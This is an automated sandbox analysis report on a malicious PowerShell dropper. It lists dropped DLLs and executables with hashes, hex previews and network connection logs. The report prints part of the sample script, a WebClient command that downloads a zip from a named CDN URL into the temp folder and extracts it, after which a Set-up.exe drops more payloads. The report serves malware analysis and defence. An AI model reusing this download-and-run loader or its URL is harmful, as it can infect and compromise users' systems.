SSDEEP:	384:DdgrnDxt3942O1NEIY3lzZIcKBxehzsCtZ7U6r1fDXJx/WpuWa/uPHRN7u7c+luh:JgXxtu5jEIYDhzZpmeMu7cH
MD5:	2A42F86AF609DAC74FE6C898CCF958E0
SHA1:	88C8065034EE0E4B9F6A3935FD32E541EFF39EBC
SHA-256:	9DBCE659A0EF6FD19709FE1D5B2A78BE451DAF28000274FCBC1CBE080CE71365
SHA-512:	CD4E71E91569B0A47BC5F5142B103048960929C5BB29D7C9412E4B5331377D44468E6A07AF8B2B766D47AC04A2EB65965E722FBA067370A1456F1686DAE662AE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...dP'..........." ..0..>..........\... ...`....... ....................................`..................................[..O....`...............J..h$...........[..T............................................ ............... ..H............text...0<... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............H..............@..B.................\......H........#...)...........L.......Z.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(....*.(....,"r...p......%...%...%...%..

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Aero.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	87040
Entropy (8bit):	6.021536409916639
Encrypted:	false
SSDEEP:	1536:XrAGJ/yox7dMEmjVWm+NdXYoAv/yCJ5DEZthvlQiQaNtPTATK5wsx8NTNf8McZOp:XrJ/yox7dMEmjVWm+NdXYoAv/yCJdEZm
MD5:	BD16D90426A48DD5A395273426591BBE
SHA1:	674796374220BA2E4D08FC7FAA8B5719A47B27E8
SHA-256:	58ADC9888E700DCFC8AC093E94275FD116D8EB555F3884FF5AE27BE831840A8D
SHA-512:	CF58AFB57C7A8D6A297B641923DAD05C1463482424B1AD4EE56FE04F5B808A8F487F1578758ECA585470A2A53963D145A112DB1A0AF74E5B2B5B30CB2311E77F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....B.b.........." ..0..J...........h... ........... ....................................@.................................0h..O....................................f............................................... ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B................dh......H....... '...............=...(..xf.......................................0...............(....r...ps..............(....r...ps..............(....r-..ps..............(....rC..ps..............(....rY..ps..............(....ro..ps..............(....r...ps..............(....r...ps..............(....r...ps..............(....r...ps..............(....r...ps..............(....r...ps..............(....r...ps..............(....r'..ps..............(....r?..ps..............(....rW..ps.....

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Metro.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	79360
Entropy (8bit):	5.588053893335174
Encrypted:	false
SSDEEP:	1536:mfOWMmHNz9vFHPjJo0bskMN+AQo+V+kk5yCYy:mGHmHNz9vFHPjy0bMN+AQo+Q3
MD5:	5BE804C183E7D1FF0B4D2803A5AA92A0
SHA1:	2376454760106602E256A2E06B78938C0095DD2D
SHA-256:	D1B091E961E06BBC6E8B593528C39D5B1F65727D24C793551AD604AF681EDAB4
SHA-512:	658993CA9EE8D61263DD3D076C16BC21454897369391E37FEBAFE1AF731177FF1F304C0619B456F90F7B4E8DE3A7F4B9813428CB6275F32A8C8C796EBB7D737D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....B.b.........." ..0..,...........J... ...`....... ...................................@..................................J..O....`..............................pI............................................... ............... ..H............text....+... ...,.................. ..`.rsrc........`......................@..@.reloc...............4..............@..B.................J......H........ ..............@+.......H.......................................0..........r...p.rE..p.rI..p(.....s......(.......BSJB............v4.0.30319......l.......#~..(.......#Strings........x...#US.h.......#GUID...x...D...#Blob...........W..........3..................................................................1.....1...,...........m.................:.....S.....@.....n.H...j.......................T...................H...&.......H.....H.....H.......................M.....

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.VS2010.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	84480
Entropy (8bit):	5.663314258846578
Encrypted:	false
SSDEEP:	1536:eTXsmzcesTEWSRnqS++gGeqGSPjJo0bs1fjRwKD37niMogEw3o5EZwXk+H+DOhlN:eTsmzcesTEWSRnqS++gGeqGSPjy0bgfG
MD5:	DF68DEDF948BAEC46CEB5A2EBAFF17A6
SHA1:	44A97CC84F6AEE286C6A40883F9B4ED73A5067C3
SHA-256:	915D3668575E5C0A92272DE344869E1248EE4E474E470CE93B72D56054824AAD
SHA-512:	EFFE10C372872424F3F491ACFD20903A5628077AB818073D243620422274AAFB0E2DEDDBFDDE922F50D30FF82AD65CF5E1A3342787A7D18DAE23DFBA02994D1C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....B.b.........." ..0..@..........._... ...`....... ....................................@..................................^..O....`.. ...........................\|]............................................... ............... ..H............text....?... ...@.................. ..`.rsrc... ....`.......B..............@..@.reloc...............H..............@..B.................^......H........ ..............D+...1...\.......................................0..........r...p.rG..p.rK..p(.....s......(.......BSJB............v4.0.30319......l.......#~..(.......#Strings........x...#US.l.......#GUID...\|...D...#Blob...........W..........3......................................................:.........>.4.....4...P.............................^.....w.....d.......m.........+.................x...................m...J.......m.....m...<.m.....$.................M.....

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	449536
Entropy (8bit):	6.085647986396463
Encrypted:	false
SSDEEP:	6144:il27BLEWt24+3osC+JE+JWWJWrJ5xEsmdLtZYqkwUi02WhZdZ6Jr6sAXayP8AYRB:zgA+JE+JWWJWrJtdPlHOzp8XSf
MD5:	D72B43E4303AC396D1A5BF66E335D35B
SHA1:	4358F0815A88FE2A7637A6BAA3F7852F9FB35535
SHA-256:	D109424CA56429D4EF87CAAFE3FF0CCF9D786058D7C8BFA18198DF8D015188BB
SHA-512:	80EB503CB793C685AC5ED6EF99D8FF082F211FAB25A09A2CF7E86ABB19BD9584BFB7C3157C48CF2EBB1EB8530FBE4100F18267309C0F5188BB54B9D8479615E7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....B.b.........." ..0.................. ........... .......................@.......K....@.................................`...O.......4.................... ......(................................................ ............... ..H............text........ ...................... ..`.rsrc...4...........................@..@.reloc....... ......................@..B........................H........H..H...........`...H............................................~............~............~............~............~.............0..~.......r...p.....(9...s:...(....r...p.....(9...s:...(....r7..p.....(9...s:...(....rU..p.....(9...s:...(....rq..p.....(9...s:...(.......0..9........s;...(<.....~=...(>...-..(>...-.. .....s?...~=...(u...^.r...p(...+. `...(....^.r...p(...+. 0...(....^.r...p(...+. ...(....^.r...p(...+. ...(....b.r...p(...+..(....(......

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.Toolkit.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1208320
Entropy (8bit):	6.287331497505302
Encrypted:	false
SSDEEP:	24576:DOzvCle3R8tuE8MKl1cnz68zUv0bylvHlvWyGfV8Z8IxPjUhax6G6Z4:DOzKQ8tuE8MKl1cnz6wUvnlvHlvCmFxj
MD5:	4F2F10F7E9D5B0E3508C2ED17A9C1AAC
SHA1:	6D125EC4225CFF293FCF9FB2F112BFAD1361DF4A
SHA-256:	2F0FC32CB1032481B81BAB16507755BC5AF0296FD4A16A7A89D6A475AED4BF0F
SHA-512:	E51B4C46620CFB5766CB9718D484A111F287082D4828D02AA9C5BE8131B5319CD3E8BC370DBA386A7DD4C6E8A7FA11C4324FEC0BF8EAA36F8D2D4CC0A81C0DA8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....B.b.........." ..0..f..........b.... ........... ....................................@.....................................O................................................................................... ............... ..H............text...Pd... ...f.................. ..`.rsrc................h..............@..@.reloc...............n..............@..B................D.......H.......d...............`.......X.......................................>. 4......(R...2......oS...:........oT....0..,........oU...r...p $...........%...%....oV...t....&...oW.....(X.....(Y...&...sZ...z&...s[...z&...s\...z..(]...F.~....(^........J.~..........(_...F.~....(^....O...J.~......O...(_......0...........(....-...(`...*.oa.....3.(b...,.(b....3...(....oc....oa.....3.(b...,.(b....3...(....oc....oa........oa.....3.(b...,.(b....3...(....oc....oa........oa.....3

C:\Users\user\AppData\Local\Temp\file\x64\plugins\starksoft.aspen.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	180224
Entropy (8bit):	5.440444229454897
Encrypted:	false
SSDEEP:	3072:LnBdnHSuAHQsvqRTGKnJd+vTH2iFclz8oNO2sYDAoOKuDvLgueON2a1SccMLmy:bSuAHQsvqRCKnJd+9FS8AI
MD5:	CC325C92EF456967301B3F74FCBCF244
SHA1:	6BCD8F0A25AAAFA950764E4F984B12A5CF33E53E
SHA-256:	FBC140B496E9B80341F8CF78352C9783E29373F12F9492A87B442C913532EF3A
SHA-512:	4B15DBED4909374CD8CDCA44F5C43AA8B1BA33D2373A1A6E6FFF40BCBE9CD8D6083EEB4BDB1870D4BD5BC140FBE29403FE3DB9DB0F02341A5BD5BDFA2AD31E72
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Y^.........." ..0...... ......J.... ........... ....................................`.....................................O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pgrt1.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	24154364
Entropy (8bit):	7.99909212561827
Encrypted:	true
SSDEEP:	393216:nZrsui+tOwZjagHjMw/PLixFGmw06hc3m1LOhnmBII6ftw0CNt8R3QULx2FyNx:ZTeuvXLiLGnnLO2hiw0CVFCx
MD5:	DDCFCD9B586F9CBDF6FA160C48C52B30
SHA1:	649B91D756FEBEF194E9172E7C96CFCA5613D09B
SHA-256:	8EF69B1FB9FB7A565EA2A1B8873BC5B4851F644F978FC54E1CC49D05FF4250DA
SHA-512:	87FF6B3783099A1C6742F7F5E3B9C29453E668252A6DBD5B11E1A8A14924115B6EBD4172AFFFEC03BCADD942AA27D22DE23C42947CDE2B36ED61CF5618FA5D65
Malicious:	false
Preview:	PK.........[&Y.(.ca..........ffjq..E......5$..@.........?.A.I.C.C....`..#......\.T:......h.t...iW..'K.:.&.....G.2...A..\|..wi8.K..D/h.@.T.....@..3d....n...0hg...p...[.v\.C.....e.....X.j...i.C:b.....f.I...tr.9..wtCT9..$.n.... ..a.7.GY....X7#...G.xb.Nju.Z...j.t#.1~Nu..`....c1..,......1.....j...]W...z.d.6\|P.3../+3R...`F..<.m...]./.....K..G....{@...f..{=...\...o.=...6....`.1..,.Tl.{y. h.+...{{U..E..g..m .+...`,.R...b&.=......6.R.q..w.....0.\.u...)..e.....QA..2.m.E...D.'..g.b..o....'.~...\]IYN^.b....=......5.p.y.6.i=e..\|.....l.....%.b..}..[.1wG......7.n,+..\qt....5.....7...o..Lp8...;A.....Ok.}.eJ.^.8zx.>...'.4/i.P....q'.Z....}....W_...L.:'4".R..`...Sg.......3.V.\|...>.."...Z.5..H..n...4.p...........^....IAwRnr.....i....%.J..\|....D....h...B.........~.+..6...O..X=........\|.O..b....w..2....r.h...j.(...'6[..p...0.p.U..y.=^..4.)......x\..c.....lp.5s..K..F,si.;sp.v...48.7.....N[._.A..j.......c\|...^......:.n.\.....t.."`[......L..(

C:\Users\user\AppData\Roaming\CHM\WebUI.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\file\Set-up.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7994880
Entropy (8bit):	6.703467388978353
Encrypted:	false
SSDEEP:	196608:L39zxBBmYeZ12U8Blc/OwDlcXus9Y0SJsv6tWKFdu9CZ:Jzx6YeZ12TBlc/OwDlikJsv6tWKFdu9C
MD5:	A29A218642F0024D9061DF45EA1BAE07
SHA1:	3A97711C99DAD00AE86BE55EDAB74912F9BE55AD
SHA-256:	74DC92EFC8279B770319549E818BBB5DF711121E7EB9C7A0D54B4FF74D08D037
SHA-512:	B55235CA3CAF48A29A4CC1743BB8AA580EF8248B3999BE29FC82097C22A68CED12F813BEF6BE46765651B478616DA1D4704D36A4581A04B40CC048E220647390
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............uF.uF.uFs..F.uF...F..uF.c.F.uF.c.F.uF.tF..uF...F..uF...F.uF...F.uF...F.uF...F.uF...F.uFRich.uF........................PE..L...A..R...........!.....^U..@%.......J......pU...............................z......nz...@..........................vq......Tq.......t.......................t..E...wU..............................gn.@............pU.D............................text...`]U......^U................. ..`.rdata..+....pU......bU.............@..@.data...H.....q..z...lq.............@....unwanted.....t.......s.............@..@.rsrc.........t.......s.............@..@.reloc........t.......s.............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\file\Set-up.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	48896
Entropy (8bit):	5.121181282636362
Encrypted:	false
SSDEEP:	384:UIJpPkn2VDVdOQe7vB4LN9tntl4crAlRcDuy1Tyk6K/uLvVWuFRNV1VF0hXHMGBJ:UQ35YtUIbERx/6jjVTbV1VaXLkjW
MD5:	916D7425A559AAA77F640710A65F9182
SHA1:	23D25052AEF9BA71DDEEF7CFA86EE43D5BA1EA13
SHA-256:	118DE01FB498E81EAB4ADE980A621AF43B52265A9FCBAE5DEDC492CDF8889F35
SHA-512:	D0C260A0347441B4E263DA52FEB43412DF217C207EBA594D59C10EE36E47E1A098B82CE633851C16096B22F4A4A6F8282BDD23D149E337439FE63A77EC7343BC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K...........6......5.....t5.....Rich.*..................PE..L......U.................P...0...............`....@.........................................................................4L..(....p..\................/..................................................0... ....... ............................text....A.......P.................. ..`.data...,....`.......`..............@....rsrc...\....p... ...p..............@..@l.[J............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CHM\ffjq

Download File

Process:	C:\Users\user\AppData\Local\Temp\file\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	45465
Entropy (8bit):	4.746200461594161
Encrypted:	false
SSDEEP:	768:uCJvT9eee7FvH7g0LAltfyP1nBeFV+DFHFjoNk5Bpfm0VQWCS6e9ml91kA7e9Xx5:HheckYIjc+DTQZegext/D
MD5:	55FDC73A2152B6BC79BF4939121EBA2D
SHA1:	837A7C437C6831E64E6469FEC76CC68FBCCDC50D
SHA-256:	2C230D7E8F82A45DED81AF02648744876B6F979854794C0E854F328F09913E30
SHA-512:	FF072B92427F75896D407EE07E223E692B0E8DFF45A8B05C53CFF9CE5B4C32E1BC6D106405E8370951B4CBF72BBC5601792C691AD83310A8D0674CAE2608F27A
Malicious:	false
Preview:	.jLmg...SM.NYi.....f..X.sB.m.mE.^hv..p.^.HP...W...M....V.we......O.PR.G]]]R.\y.....m.a..C.PC..[.Iorv..no..sQ..ai.cRAn.....R.nJMu..S.T..B.oL.nZFrJ]..\.TEON.....V...i.Lc....a.E....hQ......A........PX..]..rRh]yq.._W..C...WOk.......hq.......o.a...lu...qRqldiX.bb.dr.c..G.oP.mo...L....`g..].Oa...lc.N.U....iY..ac.t.DUh.Rko[iA.E..M.m.o.wj.TOdr...RQ...I..l..L.......\.d.qEWH...u_..EkJl....`...v..i.sG.Lj....tt.Xx..m.V.Rk..EY.X_..rSfV[.]v\JK...bNW.......v.bYM.q..iy..Zt].P.yr.....]...P..e....K...`]...n.....aD....y.eA..Le.g..]EL[N......i.On\.bgR.LUn....KTm.Wd.Xs..J.....^..........Bu.b.^..i..]....QT....^..H.qn_Tf....x...`......xb..BDA..en...N...jP..u.K..q.sSaU.J..S..V.s....Eg.........TIkaV..Pvd[S...a.td.wK\.v....Jsd..^.qewEu..t........_e.Y.......^.a...c...s.i.V.]...rGf...EENOH.`ARvfp.IwED.qZ.tA..C..O......Q.T..R.k..U..by.C.Z.Q.R.i..DAn.G.qV..[..B.s..k.D.....v.`pv.X]..Kq..rV.._R.C..J...P.m.jYS.pCK..p...x..eDlGG..MOW.e...].......YC.A.gKu.]^e.......D..r..V.B..S.nm.ZAwW...DD...CxT.h.bK.JB..E.Qx.J._...Ep.

C:\Users\user\AppData\Roaming\CHM\hdyewq

Download File

Process:	C:\Users\user\AppData\Local\Temp\file\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	912910
Entropy (8bit):	7.907574092085168
Encrypted:	false
SSDEEP:	12288:GXLlXd3UP/mD+fvDp0/Xmvmfc6RE54nM75z0CCDYKh3WnI1JpwWo9gi6UFBkWA:GbJdO++HtAXCmLMdzCMXI1/wH9s0ur
MD5:	4A07A96AE0037AFAB7CDFD09F2CDAAE6
SHA1:	F6E663E59A503073DE110A5E5D056DC497183E28
SHA-256:	BDC0059EF771DC3951E2FA54AB56B3607A539D6C62AAF63934DDADCCA14B3FCE
SHA-512:	20EE6637465120E5A818C931C32994BB2A00B9ECE6702C31B1E59BA2E38DD4232453CDD1A2FFF88A81E21FDA2525C407E5632B3DC7C45BC15AD253CD27ECCF4E
Malicious:	false
Preview:	.Yyhwi`.h.TBe.wI.......Uv.p.L.jr.X.C.wOC...A..xcUB]m..........Ng]hQ....Ytft.r..Gd...Mh...H.j.S.j.....Q..C...a...V..].Q......pr....JHIu.A]nqH.Vd.J....S.a..l.Xxa...b...SP[.....fTdTiB.c.ZrNW.l.Vf....D\qau...Z...I.e..Foq..I...q...^S....N....q.JN..r.f..L..ium.CyJA.Llf.`iRj.A.R..qTk.E.m.ju.`.]wdu.J._.....cu.C.w...Cj.o.pj.joWK`F[.W..Ox.WZ.SPd..R....vR...\ix...d[DM.Jo.jC.]..jVd.]Gm..y....Yw...Q^..Z^.v.iJ.[v.oc...........BDu`E.n.Vp[...iB.c...It..qm.Za.K.rBZ.rX..j[N.t.N..C....au.MUEXXCZgev.L..B.dv.p...t.cC]..^p..VtgD.mM...L..._..dTFLa.apPPP.BP..B..jpF..`.e..ZC.cD.jv.QZ.C^W.iMP..bQ.kx.c....].A.u..by.Xya.r.h...sa.XK]BBx...n....eDH...Y..L.......tBD.v.T.J.e........upI...u.sse..l.W...d.la.^C].e_.Z..R.EXFqB]^O..svg...Mh.dA.......C...PL...t.D..P.[Bn_..Kah.t...l\.H..m.....yE.C^..e.....Mqd..AP.E.YC..s..b.v.AKW.gp...Tl..S.HRC.INlq]N.cLuY.nY.H.q_.JG.UWDoG...L.g..l.UX.Gd....R.t..CSpqN..`Sl.q.liB......UiZav..D.Pk..q...k....kM......Vgh_x..ld..tAmd..eXm.QD..i.I.L....x.^.Gb_TUG..cdq.NW^._plI`l.s.O...P..HS.[.O.U

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0KXAD9PVZ74TI0VDZFQ0.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.728200837362231
Encrypted:	false
SSDEEP:	96:mnP3CbT7bIkvhkvCCtjBmuuWHpsmuuZHpS:mnYgjBmosmVS
MD5:	20F5B4614E6A8F1C019490BC4F1F7072
SHA1:	F10053B87092B16743AC572C11098EC0BFD45C78
SHA-256:	5C64979C59D8DC8E46BABA29090FA1342AE31A506F58E8D9A439759D98EF0986
SHA-512:	66A8BD244618A07D074E9B055D49E38165625B473893365B8F6BCDC47E8A0EA87BE62DFB5872E2D923CCEDD8CC6D6B5B244EA9EC3F92F0E8FE7EC0841A373463
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...{..1....z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S......,.......1........t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2(Y.>...........................^.A.p.p.D.a.t.a...B.V.1.....(Y.>..Roaming.@......EW<2(Y.>..../........................R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2(Y.>....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2(Y.>....2.........................W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2(Y.>....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2(Y.>....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2(Y.>....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.728200837362231
Encrypted:	false
SSDEEP:	96:mnP3CbT7bIkvhkvCCtjBmuuWHpsmuuZHpS:mnYgjBmosmVS
MD5:	20F5B4614E6A8F1C019490BC4F1F7072
SHA1:	F10053B87092B16743AC572C11098EC0BFD45C78
SHA-256:	5C64979C59D8DC8E46BABA29090FA1342AE31A506F58E8D9A439759D98EF0986
SHA-512:	66A8BD244618A07D074E9B055D49E38165625B473893365B8F6BCDC47E8A0EA87BE62DFB5872E2D923CCEDD8CC6D6B5B244EA9EC3F92F0E8FE7EC0841A373463
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...{..1....z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S......,.......1........t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2(Y.>...........................^.A.p.p.D.a.t.a...B.V.1.....(Y.>..Roaming.@......EW<2(Y.>..../........................R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2(Y.>....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2(Y.>....2.........................W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2(Y.>....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2(Y.>....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2(Y.>....u...........

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4693783998561525
Encrypted:	false
SSDEEP:	6144:azZfpi6ceLPx9skLmb0fYZWSP3aJG8nAgeiJRMMhA2zX4WABluuNnjDH5S:8ZHtYZWOKnMM6bFpVj4
MD5:	1AA7184FFA62C4FEF2C67260FE31F6C1
SHA1:	6A01FD1493E94B3B8DC43EECF85E97FD064A48B8
SHA-256:	8802BE9927A48CE7BF6897738CE385FC46E3C542BD510BD632D3DBC85A713AA3
SHA-512:	CB31B1311856A5E78882B877ADE68FB294A4ACC36EEF237225275B266D24F7FC29F2B0BFC542965CDD68AC1470B98E4C13C7FC8E4B237C27E496E078E34EED1E
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...V.................................................................................................................................................................................................................................................................................................................................................`.b........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text
Entropy (8bit):	5.110946974617765
TrID:
File name:	de7s.txt.ps1
File size:	314 bytes
MD5:	4151925de8fa81bf9c9877ce55a6c004
SHA1:	d3ac398e520632cf4318b2aca434ab26b3d8de89
SHA256:	fd06851b193a48fd9d1fe46f330aea219229e46b3d6c2843d3f735ba632f00fe
SHA512:	ba3795b3519bb4b55705fb438854fcd4f18fcdcc1246dfaae466385d2f17a1c3ff0edfa40dcfa407361d89f10c31516cff682bec445d277655a1cc771728bd2e
SSDEEP:	6:MuYvOIvJkeOMwQfdRX5fVHj1m3bfdQig9xluOKMFIsG4i:Mu/IBOM/fdRvhm3bfdQiYn0MnG4i
TLSH:	1EE0CD79E350C71DC3546396F47AE20BB149C5CC9381974C45BE44444C3D4B69BDB1F4
File Content Preview:	$webClient = New-Object System.Net.WebClient.$url1 = "https://tengkis.b-cdn.net/peltgon.zip".$zipPath1 = "$env:TEMP\pgrt1.zip".$webClient.DownloadFile($url1, $zipPath1).$extractPath1 = "$env:TEMP\file".Expand-Archive -Path $zipPath1 -DestinationPath $extr

File Icon


Icon Hash:	3270d6baae77db44

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 8, 2024 09:53:31.468103886 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:31.468141079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:31.468229055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:31.478542089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:31.478557110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.070424080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.070529938 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.075032949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.075041056 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.075367928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.087940931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.132493019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.203367949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.209172964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.209198952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.209315062 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.209328890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.209398985 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.291527033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.291553020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.291766882 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.291779041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.291827917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.294917107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.294934034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.294994116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.295000076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.295053959 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.378463984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.378536940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.378635883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.378637075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.378647089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.379206896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.379228115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.379378080 CEST	49710	443	192.168.2.6	185.93.1.250
